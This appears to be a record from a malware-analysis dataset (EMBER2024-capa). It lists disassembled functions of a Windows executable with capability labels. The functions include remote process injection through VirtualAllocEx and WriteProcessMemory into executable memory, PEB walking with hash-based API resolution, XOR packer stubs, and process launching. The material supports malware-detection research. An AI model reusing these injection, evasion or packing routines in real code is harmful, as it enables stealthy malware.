joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401310
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov esi, edx
mov dword [ebp - 0x18], ecx
call edi
push dword [ebp + 8]
mov dword [ebp - 0x1c], eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
push eax
push 0
push 0x1fffff
call ebx
mov esi, eax
mov edi, 0x401300
mov eax, 0x4012e0
mov dword [ebp - 8], esi
sub eax, 0x4012d0
sub edi, 0x4012e0
push 1
push eax
mov dword [ebp - 4], edi
mov dword [ebp - 0xc], eax
call fcn.0040ad33
add esp, 8
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x14]
push ecx
push dword [ebp - 0xc]
push eax
push 0x4012d0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call esi
push 1
push edi
call fcn.0040ad33
add esp, 8
mov edi, eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
push edi
push 0x4012e0
push dword [ebp - 8]
call esi
push dword [ebp - 0x18]
push 0
push 0x1fffff
call ebx
mov ebx, dword [ebp - 4]
push 0x40
push 0x3000
push ebx
push 0
push eax
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push dword [ebp - 8]
mov esi, eax
mov eax, dword [ebp - 0x10]
mov dword [eax + 1], esi
mov eax, dword [ebp - 0x1c]
mov dword [edi + 5], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x20]
push eax
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push esi
mov esi, dword [ebp - 0x18]
push esi
call edi
test eax, eax
je 0x401413
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push dword [ebp - 0x24]
push esi
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405670
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41f2fd
mov eax, dword fs:[0]
push eax
sub esp, 0x7c
mov eax, dword [0x429040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0xf
lea ecx, [ebp - 0x84]
push dword [ebp + 0x18]
cmova eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x84], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0x67452301
mov dword [ebp - 0x34], 0xefcdab89
mov dword [ebp - 0x30], 0x98badcfe
mov dword [ebp - 0x2c], 0x10325476
call fcn.004054f0
cmp byte [ebp - 0x84], 0
jne 0x4057c1
xor ecx, ecx
lea edx, [ebp - 0x3f]
movzx eax, byte [edx - 1]
lea edx, [edx + 4]
mov byte [ebp + ecx - 0x18], al
movzx eax, byte [edx - 4]
mov byte [ebp + ecx - 0x17], al
movzx eax, byte [edx - 3]
mov byte [ebp + ecx - 0x16], al
movzx eax, byte [edx - 2]
mov byte [ebp + ecx - 0x15], al
add ecx, 4
cmp ecx, 8
jb 0x405705
mov edx, dword [ebp - 0x40]
mov ecx, 0x78
shr edx, 3
mov eax, 0x38
and edx, 0x3f
sub ecx, edx
sub eax, edx
cmp edx, 0x38
cmovae eax, ecx
lea ecx, [ebp - 0x84]
push eax
push 0x429900
call fcn.004054f0
push 8
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x84]
call fcn.004054f0
xor ecx, ecx
lea edx, [ebp - 0x37]
movzx eax, byte [edx - 1]
lea edx, [edx + 4]
mov byte [ebp + ecx - 0x28], al
movzx eax, byte [edx - 4]
mov byte [ebp + ecx - 0x27], al
movzx eax, byte [edx - 3]
mov byte [ebp + ecx - 0x26], al
movzx eax, byte [edx - 2]
mov byte [ebp + ecx - 0x25], al
add ecx, 4
cmp ecx, 0x10
jb 0x405774
push 0x40
lea eax, [ebp - 0x83]
push 0
push eax
call fcn.00409100
xorps xmm0, xmm0
mov byte [ebp - 0x84], 1
add esp, 0xc
movq qword [ebp - 0x40], xmm0
push esi
lea ecx, [ebp - 0x84]
call fcn.004055a0
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0xf
jbe 0x4057fd
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4057f3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405819
push ecx
push edx
call fcn.0040779d
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040730e
mov esp, ebp
pop ebp
ret
call fcn.0040b190
int3
Function at 0x405820
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x429040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor edx, edx
mov dword [ebp - 0x220], ecx
push esi
push edi
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x20c], edx
mov dword [ebp - 0x210], edx
mov dword [ebp - 0x218], edx
pushal
mov eax, dword fs:[0x30]
mov dword [ebp - 0x214], eax
popal
mov eax, dword [ebp - 0x214]
xor edi, edi
mov ecx, dword [ebp - 0x208]
mov edx, dword [eax + 0xc]
xor eax, eax
mov dword [ebp - 0x21c], edx
mov ebx, dword [ebp - 0x21c]
sub eax, 0
je 0x4058c6
sub eax, 1
je 0x4058ae
sub eax, 1
jne 0x4058db
lea ebx, [edx + 0x1c]
mov eax, 0x10
mov dword [ebp - 0x208], ebx
mov ecx, ebx
mov dword [ebp - 0x20c], eax
jmp 0x4058e1
lea ebx, [edx + 0x14]
mov eax, 8
mov dword [ebp - 0x208], ebx
mov ecx, ebx
mov dword [ebp - 0x20c], eax
jmp 0x4058e1
lea ebx, [edx + 0xc]
xor eax, eax
mov dword [ebp - 0x208], ebx
mov ecx, ebx
mov dword [ebp - 0x20c], eax
jmp 0x4058e1
mov eax, dword [ebp - 0x20c]
mov esi, dword [ebx]
cmp esi, ecx
je 0x405994
nop dword [eax + eax]
mov edx, esi
mov ebx, esi
sub edx, eax
xor eax, eax
movzx ecx, word [edx + 0x24]
test ecx, 0xfffffffe
jbe 0x405923
cmp eax, 0x200
jge 0x405928
mov ecx, dword [edx + 0x28]
mov cl, byte [ecx + eax*2]
mov byte [ebp + eax - 0x204], cl
inc eax
movzx ecx, word [edx + 0x24]
shr ecx, 1
cmp eax, ecx
jl 0x405904
cmp eax, 0x200
jae 0x4059d6
push dword [ebp - 0x220]
mov byte [ebp + eax - 0x204], 0
lea eax, [ebp - 0x204]
push eax
call fcn.00408cb0
add esp, 8
test eax, eax
je 0x405972
test edi, edi
jne 0x405963
mov eax, esi
sub eax, dword [ebp - 0x20c]
mov dword [ebp - 0x210], eax
mov edi, eax
mov ecx, dword [esi + 4]
mov eax, dword [esi]
mov dword [ecx], eax
mov ecx, dword [esi]
mov eax, dword [esi + 4]
mov dword [ecx + 4], eax
mov eax, dword [esi]
mov esi, eax
cmp eax, dword [ebp - 0x208]
mov eax, dword [ebp - 0x20c]
jne 0x4058f0
mov ecx, dword [ebp - 0x208]
mov edx, dword [ebp - 0x21c]
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp eax, 3
jl 0x405887
mov edx, dword [ebp - 0x210]
test edx, edx
je 0x4059c5
mov ecx, dword [edx + 0x40]
mov eax, dword [edx + 0x3c]
mov dword [ecx], eax
mov ecx, dword [edx + 0x3c]
mov eax, dword [edx + 0x40]
mov dword [ecx + 4], eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040730e
mov esp, ebp
pop ebp
ret
call fcn.0040743f
int3
Function at 0x405db0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 8], ecx
xor esi, esi
mov eax, dword [ebx + 0x3c]
mov edi, dword [eax + ebx + 0x78]
mov eax, dword [edi + ebx + 0x20]
add edi, ebx
add eax, ebx
mov dword [ebp - 0xc], eax
mov edx, dword [edi + 0x24]
mov ecx, dword [edi + 0x1c]
add edx, ebx
add ecx, ebx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], ecx
cmp dword [edi + 0x18], esi
jbe 0x405e22
nop dword [eax + eax]
mov ecx, dword [eax + esi*4]
movzx eax, word [edx + esi*2]
add ecx, ebx
mov edx, dword [ebp - 4]
mov eax, dword [edx + eax*4]
xor edx, edx
add eax, ebx
mov dword [ebp - 0x14], eax
adc edx, dword [ebp + 0xc]
mov dword [ebp - 0x18], edx
call fcn.00405f10
cmp eax, dword [ebp - 8]
je 0x405e2d
mov eax, dword [ebp - 0xc]
inc esi
mov edx, dword [ebp - 0x10]
cmp esi, dword [edi + 0x18]
jb 0x405df0
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405e40
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword fs:[0x18]
push ebx
push esi
push edi
mov eax, dword [eax + 0x30]
mov dword [ebp - 0xc], ecx
mov eax, dword [eax + 0xc]
add eax, 0x14
mov dword [ebp - 0x10], eax
mov edi, dword [eax]
mov ebx, dword [edi + 0x20]
test ebx, ebx
je 0x405ebc
mov eax, ebx
lea edx, [eax + 2]
nop dword [eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x405e70
sub eax, edx
sar eax, 1
inc eax
mov dword [ebp - 8], eax
add eax, eax
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov esi, eax
test esi, esi
je 0x405ebe
push 0
push 0
push dword [ebp - 4]
push esi
push dword [ebp - 8]
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jne 0x405ebe
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.ole32.dll_CoTaskMemFree]
xor esi, esi
push esi
call fcn.00413a9a
add esp, 4
push esi
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push 0x5c
push esi
call fcn.00408f20
add esp, 8
test eax, eax
lea ecx, [eax + 1]
cmove ecx, esi
call fcn.00405f10
cmp dword [ebp - 0xc], eax
je 0x405f01
mov edi, dword [edi]
cmp edi, dword [ebp - 0x10]
jne 0x405e60
pop edi
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 0x10]
pop edi
pop esi
cdq
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405f10
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
push edi
test esi, esi
je 0x405fe5
push 0x1000
push esi
call fcn.004123a0
mov edi, eax
add esp, 8
test edi, edi
je 0x405fe5
push ebx
mov ebx, edi
xor ecx, ecx
shr edi, 2
and ebx, 3
test edi, edi
je 0x405f67
movzx eax, word [esi]
movzx edx, word [esi + 2]
add ecx, eax
mov eax, ecx
add esi, 4
shl eax, 5
xor edx, eax
shl edx, 0xb
xor ecx, edx
mov eax, ecx
shr eax, 0xb
add ecx, eax
sub edi, 1
jne 0x405f43
sub ebx, 1
je 0x405fa3
sub ebx, 1
je 0x405f90
sub ebx, 1
jne 0x405fb5
movzx eax, word [esi]
add ecx, eax
movzx eax, byte [esi + 2]
shl eax, 2
xor eax, ecx
shl eax, 0x10
xor ecx, eax
mov eax, ecx
shr eax, 0xb
jmp 0x405fb3
movzx eax, word [esi]
add ecx, eax
mov eax, ecx
shl eax, 0xb
xor ecx, eax
mov eax, ecx
shr eax, 0x11
jmp 0x405fb3
movzx eax, byte [esi]
add ecx, eax
mov eax, ecx
shl eax, 0xa
xor ecx, eax
mov eax, ecx
shr eax, 1
add ecx, eax
lea eax, [ecx*8]
xor ecx, eax
mov eax, ecx
shr eax, 5
add ecx, eax
mov eax, ecx
shl eax, 4
xor ecx, eax
mov eax, ecx
shr eax, 0x11
add ecx, eax
mov eax, ecx
shl eax, 0x19
xor ecx, eax
pop ebx
mov eax, ecx
shr eax, 6
pop edi
add eax, ecx
pop esi
ret
pop edi
xor eax, eax
pop esi
ret
Function at 0x407eb7
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x407ef6
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x407ef6
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x407ef6
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x407ef6
cmp dword [ecx + 0x74], 0xe
jbe 0x407ef6
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x415028
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4239e0
push 0x4239d8
push str.FlsAlloc
push 0x1f
call fcn.00414ee7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41505c
push dword [ebp + 8]
mov ecx, esi
call dword [0x420190]
call esi
jmp 0x415062
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4150a6
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4239f0
push 0x4239e8
push str.FlsGetValue
push 0x21
call fcn.00414ee7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4150dd
push dword [ebp + 8]
mov ecx, esi
call dword [0x420190]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4150e5
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4239f8
push 0x4239f0
push str.FlsSetValue
push 0x22
call fcn.00414ee7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41511f
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x420190]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x4183fe
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41849b
push ebx
push esi
call fcn.004183c7
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0041835b
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x418448
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41849a
push edi
push eax
call fcn.00416459
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x418468
call fcn.00414833
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x418499
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0041835b
add esp, 0x20
test eax, eax
jne 0x418487
push edi
call fcn.00414833
jmp 0x41848f
push ebx
call fcn.00414833
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x41eba0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41ebcd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41ebcd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x403da0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x208
push ebp
mov ebp, dword [esp + 0x210]
test ebp, ebp
je 0x403f19
cmp byte [ebp], 0
je 0x403f19
mov ecx, dword [esp + 0x218]
mov eax, str.open
test ecx, ecx
je 0x403dd5
mov eax, 0x407644
mov ecx, dword [esp + 0x214]
push ebx
push esi
push edi
push ecx
push 0
push 0
push ebp
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ebx, eax
cmp ebx, 0x20
ja 0x403f0c
lea edx, [esp + 0x10]
push edx
push str..htm
push 0x80000000
call fcn.00403cb0
add esp, 0xc
test eax, eax
jne 0x403f0c
mov edi, str._shellopencommand
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
push 0x80000000
call fcn.00403cb0
add esp, 0xc
test eax, eax
jne 0x403f0c
mov esi, dword [sym.imp.MSVCRT.dll__mbsstr]
lea edx, [esp + 0x10]
push str.__1_
push edx
call esi
mov edx, eax
add esp, 8
test edx, edx
jne 0x403ea5
lea eax, [esp + 0x10]
push 0x40761c
push eax
call esi
mov edx, eax
add esp, 8
test edx, edx
jne 0x403ea5
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + ecx + 0xf]
jmp 0x403ea8
mov byte [edx], 0
mov edi, 0x407618
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x220]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov ebx, eax
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
add esp, 0x208
ret
mov eax, 0x24
pop ebp
add esp, 0x208
ret

Function at 0x42e002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..reloc
mov ebx, 0x407ef8
nop
nop
mov ecx, 0xffe2c39
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..rsrc
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x2ed458a0
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x67a73ac2
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x4dde7f09
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..reloc
nop
mov ebx, 0x40de38
mov ecx, 0x30c24666
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..rdata
nop
mov ebx, 0x4304d8
mov ecx, 0x128e0763
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x4029b8
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2068
call fcn.0040d080
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
xor esi, esi
cmp dword [0x4114e4], esi
push edi
mov dword [ebp - 8], esi
jne 0x4029ee
jmp 0x4029e4
push 0x2710
call ebx
call fcn.00407473
cmp eax, 1
jne 0x4029dd
cmp dword [ebp + 0x18], esi
je 0x402a00
push 4
push esi
push 7
call fcn.0040aa55
add esp, 0xc
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor edi, edi
cmp dword [ebp + 0x14], esi
jle 0x402a33
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004075b6
add esp, 0xc
test eax, eax
jne 0x402a3a
push 0xea60
inc edi
call ebx
cmp edi, dword [ebp + 0x14]
jl 0x402a10
xor eax, eax
jmp 0x402ad9
cmp dword [ebp + 0x18], esi
je 0x402a4c
push 4
push esi
push 8
call fcn.0040aa55
add esp, 0xc
push 0x44
lea eax, [ebp - 0x64]
push esi
push eax
call fcn.0040d000
lea eax, [ebp - 0x2064]
add esp, 0xc
push eax
mov edx, 0x40e5f0
call fcn.00405a2e
pop ecx
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x2064]
call fcn.00405a0a
mov ecx, 0x40e5f4
call fcn.00405a0a
cmp dword [ebp + 0x10], esi
je 0x402aa9
mov edx, dword [ebp + 0x10]
mov eax, str.none
call fcn.00405984
test eax, eax
je 0x402aa9
mov ecx, dword [ebp + 0x10]
lea eax, [ebp - 0x2064]
call fcn.00405a0a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x64]
push eax
push 0x421b90
push esi
push 0x20
push esi
push esi
push esi
lea eax, [ebp - 0x2064]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x402ad6
or dword [ebp - 8], 8
jmp 0x402ad9
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x1c]
cmp ecx, esi
je 0x402ae5
mov edx, dword [ebp - 8]
mov dword [ecx], edx
mov ecx, dword [ebp + 0x20]
cmp ecx, esi
je 0x402aee
mov dword [ecx], esi
pop edi
pop esi
pop ebx
leave
ret